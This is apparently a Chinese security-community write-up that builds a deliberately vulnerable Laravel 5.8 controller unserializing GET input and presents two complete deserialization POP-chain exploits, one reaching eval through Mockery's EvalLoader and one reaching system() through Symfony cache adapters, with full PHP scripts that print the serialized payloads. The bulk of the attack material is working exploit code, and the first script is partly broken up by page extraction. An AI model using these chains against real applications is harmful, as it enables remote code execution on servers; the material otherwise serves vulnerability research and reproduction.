

本篇文章将记录 laravel5.8 框架中的两条反序列化 POP 链。

## 漏洞环境

直接使用 composer 安装 laravel5.8 框架，并通过 php artisan serve 命令启动 Web 服务。

```
→ composer create-project --prefer-dist laravel/laravel laravel58
→ cd laravel58
→ php artisan serve --host=0.0.0.0
```

在 laravel58/routes/web.php 文件中添加一条路由，便于我们后续访问。

```
// /var/www/html/laravel58/routes/web.php
<?php
Route::get("/", "\App\Http\Controllers\DemoController@demo");
?>
```

在 laravel58/app/Http/Controllers/ 下添加 DemoController 控制器，代码如下：

```
<?php
namespace App\Http\Controllers;

class DemoController extends Controller
{
    public function demo()
    {
        if(isset($_GET['c'])){
            $code = $_GET['c'];
            unserialize($code);
        }
        else{
            highlight_file(__FILE__);
        }
        return "Welcome to laravel5.8";
    }
}
```

## POP链1

这条链来自 python 的代码审计小密圈，按照如上方法安装将默认存在该链。先从 PendingBroadcast 类的 \_\_destruct 方法开始 POP 链，将 \$this->events 设置成 Dispatcher 类。进入 dispatch 方法后，我们要想办法执行到 第73行的 dispatchToQueue 方法，因为在 dispatchToQueue 方法中存在 call\_user\_func 函数，且可以完成任意类方法调用，所以我们要使得 第72行的 if 语句条件为真。ShouldQueue 是个接口，我们只要让 \$command 为实现该接口的类即可，\$command 即 第57行 传入的 \$this->event。

```
55 vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
56 public function __destruct()
57 {
58     $this->events->dispatch($this->event);
59 }

70 vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php
71 public function dispatch($command)
72 {
73     if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
74         return $this->dispatchToQueue($command);
75     }
76 }

146 public function dispatchToQueue($command)
147 {
148     $connection = $command->connection ?? null;
149
150     $queue = call_user_func($this->queueResolver, $connection);
151     return $this->pushCommandToQueue($queue, $command);
152 }

133 protected function commandShouldBeQueued($command)
134 {
135     return $command instanceof ShouldQueue;
136 }
```

现在我们已经可以调用任意类的任意方法了，下面就寻找可利用的类方法，这里我们使用的是 EvalLoader 类的 load 方法，因为里面有调用 eval 函数，且参数可控。接下来我们只要构造条件，使得 eval 函数前面的 if 语句块不执行 return 即可。如下图 第44行，我们只要找一个有 getName 方法的类，且返回结果可控即可。

```
vendor/mockery/mockery/library/Mockery/Loader/EvalLoader.php
26 class EvalLoader implements Loader
27 {
28     public function load(MockDefinition $definition)
29     {
30         if (class_exists($definition->getClassName(), false)) {
31             return;
32         }
33
34         eval(">" . $definition->getCode());
35     }
36 }

vendor/mockery/mockery/library/Mockery/Generator/MockDefinition.php
23 class MockDefinition
24 {
42     public function getClassName()
43     {
44         return $this->config->getName();
45     }
46
47     public function getCode()
48     {
49         return $this->code;
50     }
51 }
```



整个链的构造相对容易，最终 EXP 如下：

```
<?php
namespace PhpParser\Node\Scalar\MagicConst{
    class Line {}
}
namespace Mockery\Generator{
    class MockDefinition
    {
        protected $config;
        protected $code;


        public function __construct($config, $code)
        {
            $this->config = $config;
            $this->code = $code;
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader{}
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}
```

```

    }
}
namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}
namespace{
    $line = new PhpParser\Node\Scalar\MagicConst\Line();
    $mockdefinition = new Mockery\Generator\MockDefinition($line,'<?php phpinfo();?>');
    $evalloader = new Mockery\Loader\EvalLoader();
    $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
    $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
    echo urlencode(serialize($pendingbroadcast));
}
?>

```

← → ×
① 不安全 | 0.0.0.0:8000/?c=0%3A40%3A"Illuminate%5CBroadcasting%5CPendingBroadcast"%3A2%3A%7Bs%3A9%3A"%00%2A%00events"%3BO...
☆
⊗
⚙
👤
:

**PHP Version 7.1.30-1+ubuntu16.04.1+deb.sury.org+1**


System	Linux mochazz-PC 4.15.0-30deepin-generic #31 SMP Fri Nov 30 04:29:02 UTC 2018 x86_64
Build Date	May 31 2019 11:43:14
Server API	Built-in HTTP server
Virtual Directory Support	disabled

## POP链2

这条链来自前一阵CTF国赛某道题目。漏洞存在 symfony 组件中（影响至罪行 4.4.x-dev 版本），而默认安装的 laravel5.8 框架没有包含该组件。为了复现该漏洞，我们需要将 composer.json 文件中的 require 添加 "symfony/symfony": "4.\*" 并执行 composer update 命令即可。

POP链的入口为 TagAwareAdapter 类的 \_\_destruct 方法，经过一些列调用，其会调用 \$this->pool 的 saveDeferred 方法。

```

26 vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/TagAwareAdapter.php
27 class TagAwareAdapter implements TagAwareAdapterInterface, TagAwareCacheInterface, PruneableInterface, ResettableInterface
28 {
29     public function __destruct()
30     {
31         $this->commit();
32     }
33     public function commit()
34     {
35         return $this->invalidateTags([]);
36     }
37     public function invalidateTags(array $tags)
38     {
39         if ($this->deferred) {
40             $items = $this->deferred;
41             foreach ($items as $key => $item) {
42                 if ($this->pool->saveDeferred($item)) {
43                     unset($this->deferred[$key]);
44                     $ok = false;
45                 }
46             }
47         }
48     }
49 }
50 }
377 }

```

这里，我们将 \$this->pool 设置为 ProxyAdapter 类。在 ProxyAdapter 类的 saveDeferred 方法中，会调用本类的 doSave 方法。而在 doSave 方法中，我们发现了可控的动态调用，如下图 第223行 所示。

```

vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/ProxyAdapter.php
189 public function saveDeferred(CacheItemInterface $item)
190 {
191     return $this->doSave($item, __FUNCTION__);
192 }
202 private function doSave(CacheItemInterface $item, $method)
203 {
204     if (!$item instanceof CacheItem) {
205         return false;
206     }
207     $item = (array) $item;
208     if (null === $item["\0*\0expiry"] && 0 < $item["\0*\0defaultLifetime"]) {...}
211
212     if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"]) {
213         $innerItem = $item["\0*\0innerItem"];
214     }
223     ($this->setInnerItem)($innerItem, $item);
224
225     return $this->pool->$method($innerItem);
226 }

```

先知社区

首先，程序将 \$item 类强转成数组（上图 第207行），然后再从数组中取值作为下面动态调用函数的参数（上图 第213行）。这里可以看到有 \$item["\0\*\0expiry"]、\$item["\0\*\0poolHash"] 这种写法，数组键名带有 \0\*\0。这实际上是类中，修饰符为 protected 的属性，在类强转成数组之后的结果。具体可以参考如下Demo：

localhost/getip.php

```

key: %00Foo%00var1
value: 1
key: %00%2A%00var2
value: 2
key: var3
value: 3

```

```

3 class Foo
4 {
5     private $var1 = 1;
6     protected $var2 = 2;
7     public $var3 = 3;
8 }
9 $c2a = (array) new Foo();
10 foreach ($c2a as $key => $value){
11     echo "key: ".urlencode($key)."<br>value: ".$value."<br>";
12 }

```

这里动态调用 (\$this->setInnerItem)(\$innerItem, \$item) 中有两个参数，其中第一个参数可控，刚好 system 函数最多支持两个参数，所以我们这里可以利用 system 函数来执行命令。

php
Downloads
Documentation
Get Involved
Help

system

## system

(PHP 4, PHP 5, PHP 7)

system — 执行外部程序，并且显示输出

### 说明

```
system ( string $command [, int $return_var ] ) : string
```

同 C 版本的 `system()` 函数一样，本函数执行 `command` 参数所指定的命令，并且输出执行结果。

如果 PHP 运行在服务器模块中，`system()` 函数还会尝试在每行输出完毕之后，自动刷新 web 服务器的输出缓存。

如果要获取一个命令未经任何处理的原始输出，请使用 `passthru()` 函数。

### 参数

**command**  
要执行的命令。

**return\_var**  
如果提供 `return_var` 参数，则外部命令执行后的返回状态将会被设置到此变量中。

escapeshellarg
escapeshellcmd
exec
passthru
proc\_close
proc\_get\_status
proc\_nice
proc\_open
proc\_terminate
shell\_exec
» system

先知社区

整个链的构造相对容易，最终 EXP 如下：

```

<?php
namespace Symfony\Component\Cache{

```

```

final class CacheItem
{
    protected $expiry;
    protected $poolHash;
    protected $innerItem;
    public function __construct($expiry, $poolHash, $command)
    {
        $this->expiry = $expiry;
        $this->poolHash = $poolHash;
        $this->innerItem = $command;
    }
}
}
namespace Symfony\Component\Cache\Adapter{
    class ProxyAdapter
    {
        private $poolHash;
        private $setInnerItem;
        public function __construct($poolHash, $func)
        {
            $this->poolHash = $poolHash;
            $this->setInnerItem = $func;
        }
    }
    class TagAwareAdapter
    {
        private $deferred = [];
        private $pool;
        public function __construct($deferred, $pool)
        {
            $this->deferred = $deferred;
            $this->pool = $pool;
        }
    }
}
namespace {
    $cacheitem = new Symfony\Component\Cache\CacheItem(1,1,"whoami");
    $proxyadapter = new Symfony\Component\Cache\Adapter\ProxyAdapter(1,'system');
    $tagawareadapter = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array($cacheitem),$proxyadapter);
    echo urlencode(serialize($tagawareadapter));
}

```

有的 symfony 组件版本执行命令后有回显，有的没有，具体大家自己测试。

点击收藏 | 1 关注 | 2

[上一篇：Capstone反汇编引擎数据类型...](#) [下一篇：CVE-2019-12937 To...](#)

1. 3 条回复



[postma\\*\\*\\*\\*@lanme](#) 2019-08-10 15:22:09

有什么用呢，谁会去这么写控制器

0 回复Ta



[mochazz](#) 2019-08-10 22:24:13

[@postma\\*\\*\\*\\*@lanme](#) 上面就是个demo代码，方便各位复现用的。另外，phar反序列化了解一下？

0 回复Ta



[xq17](#) 2019-08-11 21:39:09

[@postma\\*\\*\\*\\*@lanme](#) phar还是很容易触发的，我感觉后面php反序列化会变得跟java一样。

0 回复Ta

---

[登录](#) 后跟帖

[先知社区](#)

---

[现在登录](#)

[热门节点](#)

---

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)